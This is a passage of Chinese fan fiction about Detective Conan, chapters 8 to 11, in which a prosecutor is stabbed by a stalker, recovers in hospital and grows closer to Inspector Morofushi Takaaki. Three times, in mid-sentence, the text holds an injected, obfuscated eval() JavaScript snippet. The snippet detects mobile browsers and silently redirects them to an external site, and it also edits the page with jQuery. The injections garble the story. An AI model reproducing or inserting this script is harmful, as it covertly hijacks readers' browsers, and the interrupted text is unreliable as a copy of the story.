不等他开口,对方的声音传来,是从未听过的紧张。 “诸伏警部,我好像被跟踪了。” 8. 第 8 章 北原浅落从检察厅出来的时候,已是九点半。 城市的灯光照耀着夜空,晚风时时拂过,吹淡工作的匮乏与疲劳。 这个城市的宁静,有自己的一份功劳。 北原浅落振奋精神,大步向小区走去,静谧的街道上,是自己规律的脚步声。 不知何时起,身后隐隐传来刻意压低的脚步声。 北原浅落下意识回头,建筑物的阴影之下,一个身影迅速隐藏在角落。 对方的怪异举动让北原浅落的警惕心瞬间达到顶峰。 如果只是路人,为什么要躲起来? 半信半疑中,几秒后,北原浅落压下心中的忐忑,继续朝前走,与此同时,全神贯注于身后若有若无的脚步声。 她确信自己被跟踪了。 冷静,冷静,北原浅落哆嗦着解锁本就拿在手上的手机,翻找出诸伏高明的电话。 “诸伏警部,我好像被跟踪了。”她尽力克制自己的语气。 “你在哪?能往人多的地方走吗?我马上来找你。” 那如湖水般沉静磁性的声音在此刻是如此令人安心,她眼中瞬间涌上热泪。 “我在检察厅到小区的路上,快到小区门口了。”北原浅落抬手抹去眼角的泪水,现在不能哭,不能慌。 “别怕,你赶紧往小区来,别挂电话,我马上到。” “好。”北原浅落应着加快脚步,一路小跑。 与此同时,身后的脚步声也越发急促。 北原浅落忍不住再次回头张望,这一次,对方没有躲藏。 背光之下,北原浅落看不清对方面容,却依身形辨认出对方是个女性。 她松了口气,女性的话,应该不是跟踪狂了。 “是北原浅落检事吗?” 是女性,而且知道自己的名字! 北原浅落为自己的莽撞与多虑懊恼,真是的,一定是跟踪狂的案子看多了魔怔了,万一对方是找自己寻求帮助呢? 她停下脚步,声音和心率都平静了许多:“是,我是北原,您找我是有什么事吗?” “是的,”对方脚步加快,走出阴影,直直盯着北原浅落,嘴角挂着一丝毒舌吐信子般的笑,“我找你,有很重要的事呢。” 是她! 几乎是瞬间,北原浅落认出了对方,却已经来不及逃脱。 对方冲向北原浅落,从怀中抽出一把刀,用力刺入她腰腹间。 几乎一瞬间,北原浅落的手机啪嗒一声落地,她不可置信地看着眼前的女人,下一秒,腰腹间的刀被狠狠抽出。 对方正想再次刺入,路口处急切奔跑的身影迫使她不得不放弃这一计划。 “巴嘎!”她怒骂了声,随即将刀往旁边一扔,迅速转身逃离。 “北原检事!北原检事!” 是他的声音…… 北原浅落心头一动,可她连转头的力气都已经没有了。 她再也支撑不住了。 她不受控制跌倒在地,她察觉到自己手掌按压的地方在不断出血,温热,黏腻。 她忽然想起刚进入检察厅的时候,带她的检事曾开玩笑说,要随时做好为司法事业流血的准备,即使是鼻血。 怎么办?她运气怎么这么差?第一次就流了这么多,要是前辈知道了,又要笑自己了。不,她大概更可能教训自己一顿,说怎么连自己也照顾不好…… 她会死吗? “北原检事,北原检事!” 她察觉到有人扶起了自己,在耳边一遍一遍喊着自己。 她挣扎着睁眼,昏黄的灯光下,他的面容明暗交织,睫毛之下,她看到了他眼中的关切,甚至还有一丝熟悉的破碎? 对啊,那天在善光寺,那不止难过,是极力克制之下的破碎。 “北原检事,救护车已经在路上了,你再坚持一下……” 不该是这样的,她不想看到他露出这种眼神。 迷离的瞬间,她把他和那位素未谋面的陌生人联想到了一起。 对,他该是那样的。 北原浅落缓缓抬手,想要触摸他的脸,却在中途因虚弱无力垂下。 察觉到男人握住自己的手,北原浅落用尽残存的意志喃喃: “诸伏、警部,我好痛……” * 消毒水的味道。 北原浅落缓缓睁眼。 “太好了!北原你终于醒了!” “上……” 发出一个音节,她才意识到自己嗓子干得厉害,撑着床想坐起,不料带动伤口,忍不住吃痛。 “慢点!”上原由衣连忙扶着北原浅落,待她坐起倒了杯温水递过去,“你先喝点水,我叫医生来给你检查。” 喝完水,北原浅落找回了自己的声音:“上原,你怎么在这?” “你还说呢!诸伏君说你被人用刀刺伤了,吓死我了!”昨天晚上,她刚洗完澡,就接到了诸伏高明的电话,吓得她披着湿头发就过来了,“醒过来就好……” 见上原由衣泫然欲泣,北原浅落扯了扯嘴角:“上原,我没事,不要难过了。” “才不是没事呢!医生说了,要是那一刀再刺深一点,你就、你就……” “我就怎么了?”北原浅落右手抚上腰间的绷带,在伤口处轻轻抚摸。 见医生推门而入,上原由衣止住话头:“没怎么,你先让医生给你检查一下,我去外面给诸伏君和敢酱打个电话,我得赶紧和他们说你醒了。” 从医生口中,北原浅落得知要是刺得再深一点就真的会有生命危险。 好吧,原来自己那时倒下的感受,真的是生命的流逝…… 医生出门后,上原由衣推门进来:“诸伏君说他待会带饭过来,我先给你削个苹果吧。” “好,麻烦你了。” “昨天晚上你情况稳定后,诸伏君就回本部和敢酱抓凶手去了,两个小时前刚从隔壁的山梨县把她逮捕,现在正在审讯。”上原由衣将一气呵成削下的苹果皮扔入垃圾桶,开始把苹果切成小块。 “嗯,我知道她是谁。”北原浅落苍白的脸上现出一丝苦笑,“断人钱财如同杀人父母,这话真的不假。如果中山真一郎的计谋得逞,恐怕她现在就可以过上纸醉金迷的生活了吧。” “哈?真是愚蠢的女人,”上原由衣将叉子插上切好的苹果,递给北原浅落,“那个中山真一郎对自己的妻子都不能忠贞,她怎么保证之后他不会再和别的女人有染?居然还敢因为这事袭击检察官?真是可恶啊!” 北原浅落将苹果送入口中,慢慢嚼着:“是啊,你说得对,要是她早点听到上原你的话就好了。” 门口传来两声不轻不重的敲门声。 和他一样,礼貌沉稳。 北原浅落朝门口看去,果然是提着食物的诸伏高明。 “你醒了?感觉怎么样?”诸伏高明将袋子放在桌上。 “挺好的,谢谢诸伏警部关心。” 吃了些苹果,北原浅落已经不像刚醒来时那么虚弱,可对方似乎并不满意她的答案,欲言又止。 北原浅落正想询问,诸伏高明将桌上一个袋子递给上原由衣:“上原桑,这是敢助君托我给你买的,你照顾北原检事一天辛苦了,回家休息吧,今天晚上我来陪护。” “好,那敢酱呢?他还在审嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079003|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑人吗?”上原由衣接过袋子,里面是她最喜欢吃的一家店的外带。 “嗯,不过现在应该结束了。” “好,那我先回去啦!”上原由衣替北原浅落掖了掖被子,“北原,我明天来看你。” “嗯,今天真是谢谢你了上原,快回去休息吧。” 房门被轻轻带上。 诸伏高明从袋子里取出粥,而后将小桌板放好,把粥端到北原浅落面前:“对不起,今天来不及回家做,只能在店里买了带来。” “没事没事,诸伏警部你们已经对我很照顾了。”北原浅落舀了一勺粥放在嘴边轻吹。 诸伏高明将椅子拉到病床边,坐下后静静看着北原浅落进食。 北原浅落是真饿了,喝了大半碗青菜瘦肉粥后,才猛然想起诸伏高明许久没有说话,甫一抬眼,恰好对上对方的视线。 如鱼儿重回大海,流星归于星空,有那么一瞬,她似乎在他眼中看到了归属。 她猛地低头,继续喝了口粥。 “诸伏警部,你晚饭吃了吗?” “今天午饭吃得晚,我和敢助君下午才吃,现在不饿。” 北原浅落搅着碗中的粥,想起之前上原由衣的话,问道:“那么,诸伏警部昨天晚上和今天都没休息?” 诸伏高明没有正面回答:“持刀袭击国家公职人员是影响极其恶劣的重大刑事案件,长野县警有责任第一时间抓捕犯罪嫌疑人。” 那就是没休息的意思。 北原浅落心里有了打算:“诸伏警部,你回家休息吧,这里晚上有医生和护士,不需要陪护。” 不知是不是她的错觉,听了这话,诸伏高明好像叹了口气,在她思考之际,对方已经抽了张纸递过来,她连忙接过擦了擦嘴角。 “还痛吗?” 冷不丁,她听见他这么问。 北原浅落手上动作一顿,昏迷前的残存意识涌入脑海。 “已经、已经不痛了。” 不知是不是注意力的原因,先前没那么明显的痛感此时忽然加重。 “真的?” 明明是一如既往温柔的眼神,但北原浅落此刻觉得这眼神能瞬间看穿自己的心思,慌忙别开脸。 “好吧,其实还是有一点痛,就一点点。” 回应她的是一声轻笑。 “这样,你先吃,我去找护士来给你换药,看看会不会好点。” 护士进来之后,诸伏高明走出病房带上门。 解开绷带,北原浅落第一次看到自己的伤口。 原来有这么长啊…… “你丈夫对你真好,”护士轻轻将药洒在伤口上,“他刚刚还特地嘱咐我轻点,说你怕疼。” “诶?!” “昨天你到医院后,他一直忙前忙后的,医生都说了你没有生命危险,他还是一直守着,直到另一位女士来了才离开,好像还是因为工作。” “他不是我丈夫……”北原浅落红着脸小声回应。 护士不以为意,笑道:“原来还没结婚呀?这么好的男朋友,你可要抓紧呀。” 北原浅落的声音更小了:“也不是男朋友……” “啊?”护士缠绷带的手一顿,“那他是?” “我们只是朋友。” “朋友?” 北原浅落思忖片刻:“应该还算半个同事?” 是的,他们是邻居,是朋友,是同事,但他和她之间,没有男女之情。 几乎就在这个结论出现的同时,她脑中浮现了他那双隐忍的眼睛,那潜藏于隐忍之下的破碎,和昏迷前手上传来的手掌触感。 她,好像握回去了。 9. 第 9 章 像一枝花被折断。 诸伏高明从睡梦中惊醒,下意识抬头寻找女孩的身影。 幽暗的夜灯下,她的睡颜宁静平和。 片刻后,女孩的眉头皱起,似是在隐忍什么。 伤口又痛了吗? 诸伏高明犹豫数秒,抬手轻抚女孩眉毛。 他该早点赶到的。 要是他动作再快一点,她就不会受伤了。 他见过许多流血受伤的场面,却从没有一次这么令他揪心、令他不安。 他见惯了鲜血,第一次,他发现这鲜红色如此让他害怕。 “对不起,长野的治安,让你失望了。” * 得益于养伤,北原浅落拥有了一段难得的闲暇时间。 刚开始因为昏昏沉沉,北原浅落一大半时间都在睡觉,后面精力渐渐恢复了,就开始觉得过于闲暇,让她有些不知所措,好在诸伏高明看出了她的无聊,第二天过来给她带了几本新出的悬疑小说。 “诸伏警部,这些书你看过了吗?”北原浅落随手拆开一本书的塑料封。 诸伏高明伸手从她手里接过塑料,扔进床边的垃圾桶:“没,我也是看网上推荐的,说这几本不错。” 北原浅落随手翻动书页,突然好奇:“话说诸伏警部,你看侦探小说的话,猜得到凶手吗?” “严格来说,这得取决于作者的笔力。如果作案手法、动机和小说中的描写都到位的话,十之八九不会出错。” 北原浅落立马会意,接上对方没说完的后半句:“所以,如果作者写得漏洞百出,就算是你也会出错。” “这也不能算我出错,是作者的水平还没达到专业的高度。” “也是,”北原浅落拿起书朝诸伏高明晃了晃,笑道,“那就让我来品鉴一下这些书有没有达到吧。” 这天下午,诸伏高明他们三个人来探望她。 “上原,诸伏警部,大和警部你们来啦!” “北原,今天给你带来一个客人哦!”上原由衣冲北原浅落神秘一笑,眨了眨眼。 “客人?谁啊?”北原浅落一时想不出人选,前几天检察厅的同事和警察本部有工作联系的几位警官都来看过了,在长野,她真的想不出还有谁会来看她。 “才来长野两个月,就把我忘了?”九条玲子不紧不慢进屋,冲病床上的北原浅落轻哼一声,“你的好记性去哪了?” “前辈!你怎么——”北原浅落一阵激动,身子往前探,一不小心带动伤口。 “受伤了就好好躺着。”九条玲子快步走近病床,把北原浅落的靠枕重新放好。 “前辈,你怎么会过来?专门来看我的?” 见北原浅落重新坐好,九条玲子在病床边坐下:“那你是想多了,我每天忙得脚不沾地,没这个闲工夫。” 北原浅落没有被九条玲子吓退,认识这么多年,她早就清楚对方的口是心非。 “那你现在在干嘛?还不是来看我了吗?” “我是顺路,这两天在山梨县有个公干,回去前顺路来看看你,”九条玲子抬起手腕看了眼表盘,“我还有28分钟。” “那,你们先聊,北原,我们去给你打包晚饭。”上原由衣很有眼力见地拉着两位男士离开病房。 房门合上,九条玲子继续“数落”北原浅落:“你说你,怎么这么不小心,受了这么重的伤?去警视厅学的擒拿术都白学了?” “第一次碰到这种情况,太紧张了嘛……” “笨蛋……”九条玲子叹了口气,抬手把被子往上拉,“那受伤了怎么不告诉我?我还是那天去高等检察厅,碰到伯母,她和我说的。” “我妈?” “是,她和我说你受伤了,让我有时间的话在长野停一下,替她来看看你。”说到此处,九条玲子伸手点了点北原浅落额头,“我又要说你了,这么重的伤居然和伯母说是小伤?要不是我过来你还想瞒到什么时候?” 想起养伤期间和家里打的几个电话,北原浅落辩解:“我确实没什么大碍了,让他们知道了还会让他们担心,前辈,你回去了也别和我妈说啊,就说我已经好了。” “真是的……” “前辈,拜托了啦!” “想要我不说也行,赶紧把伤养好,以后自己小心点。”九条玲子瞧了眼北原浅落抓着自己胳膊晃悠的手,“勉强”同意。 “谢谢前辈!” 见北原浅落精气神确实不错,九条玲子原本因担忧而紧绷的神情也柔和了些。原本她还担心来探病说那个话题不合时宜,现在看来,或许是个机会。 “话说,”九条玲子抬眼观察北原浅落的表情,“那天伯母还跟我说了一件事。” “什么啊?” 九条玲子忍不住嘴角上扬:“她说,你主动调来长野,是为了躲伯父给你安排的相亲。” “欸?!” “不是吗?” 九条玲子眸光闪烁,一贯用于询问犯罪嫌疑人的锐利目光此时落在同为检察官的后辈身上。 顶不住九条玲子的目光,北原浅落将头昂起偏向另一侧,佯装无所谓:“是的,那又怎么了?我就是不想去相亲。” 九条玲子低低笑了:“没有没有,没怎么,我就是想知道,你为什么不想去,按道理来说,伯父介绍的相亲对象,都是万里挑一的青年才俊,你怎么连个认识的机会都不给呢?” 北原浅落一愣,半天不知怎么回答。 “那我换句话问,浅落,你想找什么样的男朋友?” “我——”刚一开口,北原浅落就卡壳了,嗫嚅了数秒后才嘟囔出一句,“至少得把法条记得和我一样牢吧。” “喂!”九条玲子没忍住拍了下被子,“恐怕整个日本都找不到这样的人吧?你好好想想。” “我、我不知道……” 晚风从半开的窗户吹进来,带动窗帘飘动。北原浅落望向窗外,是火红的晚霞。第一次,她不得不思考这个问题。 她喜欢什么样的人呢? “哎,”九条玲子突然想到了什么,”你不会惦记着那个连面也没见过的笔友吧?” “啊?”北原浅落脑中闪过一张张写满字的信纸。 “不会吧?真是这样?”见北原浅落怔愣的样子,九条玲子脸色一变。 “不是不是!我没有!” 反应过来后,北原浅落慌忙否认,这都哪跟哪儿啊,前辈怎么把这两件事联系在一起的? “真没有?”九条玲子捕捉北原浅落的一举一动,想要从中看出些什么。 “真的没有!”北原浅落再次否认,顿了顿喃喃,“再说了,我国中的时候他就已经念大学了,现在他说不定孩子都已经上小学了呢。” “也是,”九条玲子想了想,觉得她说的有道理,“那你最好没有,不然现实中的人怎么和你幻想中的人比较,这样下去你永远找不到心仪的对象的。” 北原浅落不觉皱眉:“前辈,他不是我幻想中的人,他是真实存在的。要不是他,我不会成为现在的我。” “是是是,我知道,我也得感谢他,要不是他,检察界就会失去一颗新星。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079004|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九条玲子无奈点头,“不过对方既然是东大法律系毕业的,能力又这么强,想来现在也是法律界的一个人物了吧。” “是啊,他现在一定在自己的岗位上发光发热吧……说实话,前辈,这么多年,我确实没遇见过一位比他更有水平、更让我仰慕的人了。” “那池田前辈呢?” “好吧好吧,除了池田前辈之外!” 随口的玩笑后,九条玲子叹了口气:“所以啊,都说了别拿别人和他比啊,大学和刚入职那段时间,那些追你的男生,你是不是都把他们拿来对比了?” 北原浅落无辜地眨了眨眼:“有吗?” “没有吗?” 北原浅落下意识想回答没有,可是九条玲子目光灼灼,似乎洞穿了自己都未曾察觉到的隐秘角落。 “行吧,我该走了。”九条玲子起身,缓了神色伸手抚摸北原浅落的头发,“我会和伯母说你很好的,照顾好自己。” “嗯,谢谢前辈,我送送你。” 北原浅落掀开被子就要下床,却被九条玲子制止。 “不用了,等你养好了伤,来东京请我吃饭吧。” “好。” “我走了。”九条玲子走向房门,打开之后脚步一顿。 “浅落,向前看吧,现在的你已经不需要他了,说不定你会喜欢上伯父介绍的相亲对象。” 门啪嗒一声合上,留下北原浅落一人在病床上发愣。 晚霞只留下最后一抹亮色。 她踩上拖鞋,来到窗边,恰好看见楼下几只鸟在飞来飞去觅食。 她想起了不久前做的那个梦。 “你为什么要进入法学部?” 这是一切的开端。 14岁的她因赌气来到东都大学法学部,又因赌气写下了那张纸条藏好。 她并没有期待谁能注意到这张纸条,更没有想到会有人回复。 青春期的少女只想发泄情绪,以一种不会被人知晓的方式。 可是在她下一次来的时候,在同样的地方,她收到了回复。 “加入法学部的初心,于我而言,不想说什么捍卫法律的尊严与权威这些老生常谈冠冕堂皇的话。对我而言,加入法学部,并不出于世俗定义的‘成功’,更多的是出于某种个人原因,法律能让我在之后拥有调查的权力和能力,弥补当初的遗憾,它更像是一种必然的选择。 所以啊,年少的朋友,重要的不是我为什么进入法学部,在你问出这个问题的一刹那,真正重要的是你心中所想。 但也不必急于寻找一个答案。 有时候,答案早在我们意识到之前降临。” “北原,北原!” 耳边突然传来上原由衣的声音,北原浅落连忙回头应声:“上原,怎么了?” “还问我怎么了?”上原由衣和诸伏高明、大和敢助面面相觑,“我们刚刚叫你好多声了,你一个人站在窗户边想什么呢?小心着凉。” 诸伏高明走近将窗户关上:“是九条检事和你说什么了吗?” “没有没有,前辈没有说什么,是我突然——” 不经意间,北原浅落的目光撞上诸伏高明的,那双丹凤眼眸光深沉,像世间最理性的深潭,潭水之下,会有什么呢? 忽地,一个不可思议的念头击中了她。 她是不是也在无意之间把诸伏高明和他作比较了? “突然怎么了?” 北原浅落淡淡一笑,避开诸伏高明探究的视线。 “没怎么,只是突然想起了些以前的事。” 10. 第 10 章 北原浅落出院那天,是个雨天。 上原由衣捧着一束花来接她出院。 “北原,恭喜出院!” “谢谢!”北原浅落接过花束,“你居然给我送花!” “本来我和敢酱想买那束向日葵和百合的,但是诸伏君说你会更喜欢这束。”上原由衣说着转头瞧了眼诸伏高明。 “是啊,本来嘛,迎接病人出院,都是送向日葵和百合的,不过既然是高明的一番心意,检事小姐你就多担待一点吧。” 淡蓝色的绣球花与白色的鸢尾花交错,飞燕草与满天星的点缀增加了花束的层次,她确实很喜欢。 北原浅落接过花,跟着看向诸伏高明,难得在对方脸上看出几分不自然的红晕,见惯了他冷静从容的样子,这副神态可不常见啊,她更加愉悦:“我很喜欢,谢谢诸伏警部!” “喜欢就好,”诸伏高明被盯得不好意思,稍稍偏头,“我们走吧,我们打算在我家一起吃顿饭,庆祝你出院。” “你家?” “是,我们三个之前商量好的,反正你们就住上下楼,很方便。” “没错,而且检事小姐你不知道吧,高明做饭很有一手的。”大和敢助伸手搭上诸伏高明肩膀,热情推销。 “真的吗?”北原浅落颇为意外,她还以为诸伏高明更会是那种“君子远庖厨”的角色。 “别听敢助君夸大,”诸伏高明伸手拿开大和敢助的手,“只是家常料理的水平。” “好呀,那待会就麻烦诸伏警部了。” 走出医院大门,外面淅淅沥沥的雨未停。 诸伏高明撑开伞,示意北原浅落步入伞下。 “麻烦你了。” 北原浅落小心走进,雨滴落在伞面的声音如鼓点,隔绝了外部的杂音。 说起来,第一次见到他那天,也是个雨天。 北原浅落抬眸看向身边的男人,除了她刚醒来的那天下午,她看到了些微的胡茬,其他时刻,他总是把自己打理得整整洁洁,头发和胡子、西装和衬衫都打理得一丝不苟。 他平时的言行举止,也都很温柔绅士,待人接物让她很舒服——就像昏迷之前她脑中闪过的念头一样,他很像那个人给她的感觉。 她怎么又把诸伏高明和那个人作比较了? 九条前辈说得对,她或许就是在不知不觉间会把身边的人和他作比较,这样不仅不公平,还会影响自己的判断。 “小心水坑。” “啊、好。” 不等她低头,一只手轻拉着自己手腕往一边偏,她成功避开水坑,却避不开心里的汹涌潮水。 不过两秒,手腕上的触感消失,可北原浅落却觉得手腕上还残存着电流灼烧般的不适。 对诸伏高明的信任与好感,究竟是来自他本身给自己的感觉,还是潜意识里把他当成了替身? * 诸伏高明的屋子布置和她事先预期的一样,简约整洁,现代极简风的装修,透出沉静内敛的生活质感。 她本来想跟着上原由衣一起去厨房帮忙,却被拦了下来。 “我和诸伏君在厨房就够了,北原你就和敢酱在客厅里歇会吧。” 北原浅落只得重返客厅,大和敢助已经开启电视,将遥控器递给她:“来看电视吧。” 她接过遥控器,按到最常看的新闻频道,而后走向立在墙边的书架。 “诸伏警部家里的书不少呢……”北原浅落视线从书架上一层一层扫过。 “是,高明的书一直很多。” 书架的书都是分门别类放好的,法学,警察相关,文学,还有中国的名著。 法学那两层的书北原浅落很熟悉,基本都是她看过的,突然,她看到一本奇特的书。 “《2年级A班的孔明同学》?”北原浅落伸手去取,冲身边的大和敢助问道,“是以诸伏警部为原型的吗?” “啊是的,是我们的小学同学写的。” “小学同学?”北原浅落翻开封面,扉页已经有些泛黄,显然这本书已经有些年份了。 “小桥葵……”她念出作者名字,转头向大和敢助求证,“这不是大和警部你们解决的赤壁案子的受害人妻子吗?” “是的,就是她,当初我还以为高明对她有好感呢。” 大和敢助特意在后半句放慢语速,观察北原浅落神态,可对方并没有如他想象中失落或者激动,只是点头说了句“这样啊”就把书放回去了。 “你不好奇吗?”大和敢助忍不住问了句。 北原浅落点头,顺着书架缓缓走向另一侧:“好奇啊,但这是诸伏警部的私事,我们私下议论不太好吧?而且,小桥小姐已经去世了。” 大和敢助一怔,旋即看北原浅落的眼神中多了几分敬意。 晚上的主菜是寿喜烧,桌上还摆了一份玉子烧、味增汤和一盘馒头。 “这是‘康复馒头’,我做了带来的,祝贺你恢复出院,你今天必须得吃哦!”上原由衣笑着介绍。 “好,谢谢!”北原浅落接过上原由衣递来的馒头,咬了一口。 “怎么样?合你的口味吗?” “嗯,上原你手艺真好!” “因为做了很多次锻炼出来啦,”上原由衣瞧了瞧两位男士,“以前敢酱和诸伏君要是受伤或者生病了,等他们康复我都会给他们做。” “是啊是啊,不想吃还会被你硬塞,我们不得不吃。”大和敢助边吐槽边瞥了眼上原由衣。 “哪有,明明敢酱你也很喜欢吃啊!” 诸伏高明捞出锅里熟了的菜品,为北原浅落布菜:“你别见怪,他们一直这样。” “没有,”看着他们三人,北原浅落满眼羡慕,“你们三个感情真好,不愧是从小一起长大的青梅竹马。” “诶?”上原由衣暂停对大和敢助的反驳,转而问道,“北原你没有从小一起长大的好朋友吗?” 北原浅落认真想了想:“还是有两个的,不过没有和你们一样在一起那么久,因为我爸妈之前工作调动,我不会在一个地方待很久,经常转学。” “这样……” “是的,而且是因为我们的父辈比较熟悉,我才和他们熟起来的,在学校里的话,不瞒你们,我很少交到朋友。”想起自己的童年,北原浅落不免露出几分落寞。 “啊怎么会?明明你的性格这么好!” “我小时候可不是现在的性格,而且,我学什么都很轻松,大概无形之中给了他们压力吧。” 诸伏高明适时给北原浅落夹了个玉子烧:“你先趁热尝尝看,冷了就不好吃了。” “好,谢谢诸伏警部。” 趁女孩低头吃东西的时候,桌上的另外三人默契地眼神交流。 “听高明说,你也是东都大学法学部毕业的。”大和敢助另起一行换了话题。 “是的,不过诸伏警部毕业之后我才入学,所以没有机会见面,但是关于他的事迹有一直流传下来。” “什么?是他鬼迷心窍毕业不进职业组的事迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079005|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “是,很多人不理解,我也听到过很多奚落,但是嘛,他们再怎么说都无法改变诸伏警部当初是以第一名的成绩毕业的事实,而且,他们也没有机会在这方面赶上他。” “为什么?” “谢谢!”北原浅落先向布菜的诸伏高明道谢,接着解答大和敢助的疑惑,“因为我们那届第一名是我啊。” 北原浅落说得理所当然又云淡风轻,上原由衣和大和敢助一愣,随即大笑。 “不愧是你啊北原桑!干得漂亮!”大和敢助朝北原浅落竖起大拇指。 “谢谢夸奖!”北原浅落微微扬起脸,颇有些春风得意的味道,“拿第一名算是我家的一个传统吧,我爸和我妈当年都各自是自己那届的第一名。” “北原的父母都是东大法学部的?” “是,他们也都从事检察工作,”北原浅落点头,“所以我当初有一段时间很讨厌法学和检察官这个职业,因为认识我父母的人见到我都会说我以后肯定是他们的后继者,好像我就没有别的选择了一样。” “但是北原最后还是走了这条路呢。” “对,但这是我自己的选择了,不是因为没有别的选择。”想起当初的转变,北原浅落感慨万千,如果不是那次赌气,她不会和那位素不相识的“前辈”展开数月的笔友交流,不是这场交流,她可能真的不会走上如今的道路。 “你父母都是东大法学部第一名的话,那对你的结婚对象有没有要求啊?” “要求?”北原浅落不明白大和敢助的意思。 “就比如要求他也——”大和敢助一声吃痛。 “粉丝好了,要给你来点吗?”诸伏高明打断大和敢助施法。 “好,不要太多,我已经有些饱了。” 饭后,趁两位女士不注意,大和敢助走到正在泡茶的诸伏高明身边低声道:“刚刚怎么不让我说下去?你什么时候这么胆小了,高明?” “欲速则不达。”诸伏高明看了眼客厅中的北原浅落,她正和上原由衣相谈甚欢。 “嘛,我知道欲速则不达,”大和敢助罕见地没有挑刺诸伏高明引经据典,“我还知道机不可失,时不再来。” 再在诸伏高明家坐了会,三人向他告别,北原浅落上楼回了自己房间。 走进卧室,北原浅落从抽屉里取出一个精致的盒子。 打开,里面是一张张纸,有些纸的边缘已经开始泛黄。纸上写满了字,字迹工整有力,行云流畅,可以稍稍窥见写字的人的性格。 北原浅落拿出最后一张纸,这是她最后一次收到回信,她本以为至少还会再有一封的,因为她收到这封信后给对方又写了一封,告诉他自己即将转学,不能再像现在一样每周来东大,她在信上附了地址,可不论是转学前一天还是转学后,她再也没有收到过信。 北原浅落将纸张重新一张一张叠好,放回盒子。 “不知道你现在在哪,工作怎么样?” “我现在,还是成为一名检察官了呢,是我自己的选择。” “对了,我还成为了你的学妹,不知道你大我几届,说不定我们还在某次校友会上见过。” “很感谢你对我的指引,但是现在,我要把你忘、不,我不会忘了你的,我只是要把关于你的一切归档。” 北原浅落盖上盖子,双手搭在盒子上,深深吸了口气,抬头望向窗外高悬的月亮,月色溶溶,澄澈透亮,晚风从窗缝里溜入,带走她的轻语。 “祝你安好。” 11. 第 11 章 清晨,北原浅落在生物钟的召唤下醒来。 拉开窗帘,是清晨和雨后混杂的清新。 简单吃了个早饭,她拿起桌上的盒子出门。既然已经决定把记忆归档,那么,这些实物,也该回到属于它们的档案室。 周末的早晨,小区里人不多,在医院这么长时间,她都要忘了清晨散步是这么惬意轻快的事。 或许还有心态加成吧? 她手指轻敲了盒子几下。 “怎么这么早起来了?” 北原浅落脚步一顿,抬眼就瞧见诸伏高明拎着袋子从几米开外向自己走来。 “诸伏警部。” 诸伏高明在北原浅落身前停下,视线落在她捧着的精致纸盒上:“这是要去哪吗?” “啊是的,我去快递点寄个快递,把它寄回家里去。”北原浅落把盒子往上抬了抬。 “怎么不让快递员上门取件?你伤刚好,身体还虚弱,少出门为好。”诸伏高明伸手,“我来帮你拿吧。” “谢谢。”犹豫了会,北原浅落把盒子递了过去,两人并肩往快递点走去,“因为想亲自把盒子寄回去,没事的,我的身体已经完全恢复了,周一就要重新回检察厅工作了。” “这样,盒子里的东西很重要吗?”诸伏高明掂量了下盒子,盒子很轻,几乎就是盒子本身的重量。 “是的,很重要。”北原浅落莞尔。 寄完盒子,两人往回走,北原浅落才想起来问诸伏高明怎么也这么早出门。 诸伏高明将袋子打开:“我出门晨跑,顺便为今天买菜。” “不愧是诸伏警部,周末也坚持锻炼。”北原浅落感叹,她刚认识诸伏高明的时候,见他一副瘦弱书生模样,以为他走的是运筹帷幄的智力路线,后来,上原由衣告诉她,诸伏高明不仅在推理上和大和敢助不相上下,在警局的体力测验里也没有落过下风。 “要不待会来我家一起吃饭?” “诶?这合适吗?”北原浅落一惊,昨天晚上不是刚去他家吃饭吗? “没什么不合适的,两个人吃饭总比一个人热闹,不是吗?就当你之前那么多甜点的回礼了。” 北原浅落觉得诸伏高明说的有道理,点头应下:“那就打扰啦。” 按下电梯按钮,北原浅落的手机响起,是她爸。 “抱歉,我接个电话。” “爸,是,今天休息。” “对不起爸,我要进电梯了,我待会给你打过来。” 挂了电话,北原浅落按下楼层按钮:“诸伏警部,我先回家一趟,待会过来。” “好。” 关上门,北原浅落给父亲去了电话,趁拨通的间隙换鞋。 “爸,我刚给家里寄了个快递,”北原浅落拿起放在鞋柜上的手机走向客厅,把手机放在茶几上,“收到后你让妈放杂物间吧,和我上学时候的书放在一起就好。” 北原浅落把昨天收到的花放到茶几上,拆着包装。 “对了,上次拜托你的事,有进展吗?” “不会吧?”听到父亲否定的回答,北原浅落表示深深怀疑,“你是不是最近太忙忘了我的事?” “我怎么认识他的?这重要吗?” “好吧,就是我上大学的时候啊,我记得那是周六下午两点半左右,我在学校旁边的咖啡店复习期末,他和几个朋友见义勇为,对方却威胁要告他们,我就帮了点小忙,给那个耀武扬威的家伙普及了一下法律知识。” 